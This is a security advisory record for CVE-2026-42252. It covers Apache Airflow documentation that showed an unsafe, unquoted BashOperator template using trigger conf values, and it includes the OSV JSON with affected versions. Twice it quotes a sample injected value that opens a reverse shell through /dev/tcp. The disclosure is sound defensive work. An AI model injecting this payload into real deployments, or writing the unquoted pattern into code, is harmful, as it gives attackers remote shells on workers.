PYSEC-2026-184

Vulnerability from pysec - Published: 2026-06-01 09:16 - Updated: 2026-06-03 10:54
VLAI
Details

Apache Airflow's official documentation at core-concepts/dag-run.html ("Passing Parameters when triggering Dags") showed a verbatim BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}") example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had Dag.can_trigger permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the conf field of the trigger API: an authenticated trigger user could supply "; bash -i >& /dev/tcp/.../9999 0>&1; #" as a conf value and reach an os.exec on the worker. This CVE covers the documentation correction in apache/airflow PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to apache-airflow 3.2.2 or later to pick up the corrected documentation shipped with the release.

Impacted products
Name purl
apache-airflow pkg:pypi/apache-airflow
Aliases

{
  "affected": [
    {
      "ecosystem_specific": {},
      "package": {
        "ecosystem": "PyPI",
        "name": "apache-airflow",
        "purl": "pkg:pypi/apache-airflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3.0.0",
        "3.0.1",
        "3.0.1rc1",
        "3.0.2",
        "3.0.2rc1",
        "3.0.2rc2",
        "3.0.3",
        "3.0.3rc1",
        "3.0.3rc2",
        "3.0.3rc3",
        "3.0.3rc4",
        "3.0.3rc5",
        "3.0.3rc6",
        "3.0.4",
        "3.0.4rc1",
        "3.0.4rc2",
        "3.0.5",
        "3.0.5rc1",
        "3.0.5rc2",
        "3.0.5rc3",
        "3.0.6",
        "3.0.6rc1",
        "3.0.6rc2",
        "3.1.0",
        "3.1.0b1",
        "3.1.0b2",
        "3.1.0rc1",
        "3.1.0rc2",
        "3.1.1",
        "3.1.1rc1",
        "3.1.1rc2",
        "3.1.2",
        "3.1.2rc1",
        "3.1.2rc2",
        "3.1.3",
        "3.1.3rc1",
        "3.1.4",
        "3.1.4rc1",
        "3.1.4rc2",
        "3.1.5",
        "3.1.5rc1",
        "3.1.6",
        "3.1.6rc1",
        "3.1.7",
        "3.1.7rc1",
        "3.1.7rc2",
        "3.1.8",
        "3.1.8rc1",
        "3.1.8rc2",
        "3.2.0",
        "3.2.0b1",
        "3.2.0b2",
        "3.2.0rc1",
        "3.2.0rc2",
        "3.2.1",
        "3.2.1rc1",
        "3.2.1rc2",
        "3.2.1rc3",
        "3.2.2rc1",
        "3.2.2rc2",
        "3.2.2rc3"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42252"
  ],
  "details": "Apache Airflow\u0027s official documentation at `core-concepts/dag-run.html` (\"Passing Parameters when triggering Dags\") showed a verbatim `BashOperator(bash_command=\"echo value: {{ dag_run.conf[\u0027conf1\u0027] }}\")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `\"; bash -i \u003e\u0026 /dev/tcp/.../9999 0\u003e\u00261; #\"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 \u2014 the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.",
  "id": "PYSEC-2026-184",
  "modified": "2026-06-03T10:54:36.359072Z",
  "published": "2026-06-01T09:16:18.560Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://lists.apache.org/thread/8f4sc0rfn154jprmnwtmlst4p9zfw3w7"
    },
    {
      "type": "FIX",
      "url": "https://github.com/apache/airflow/pull/64129"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…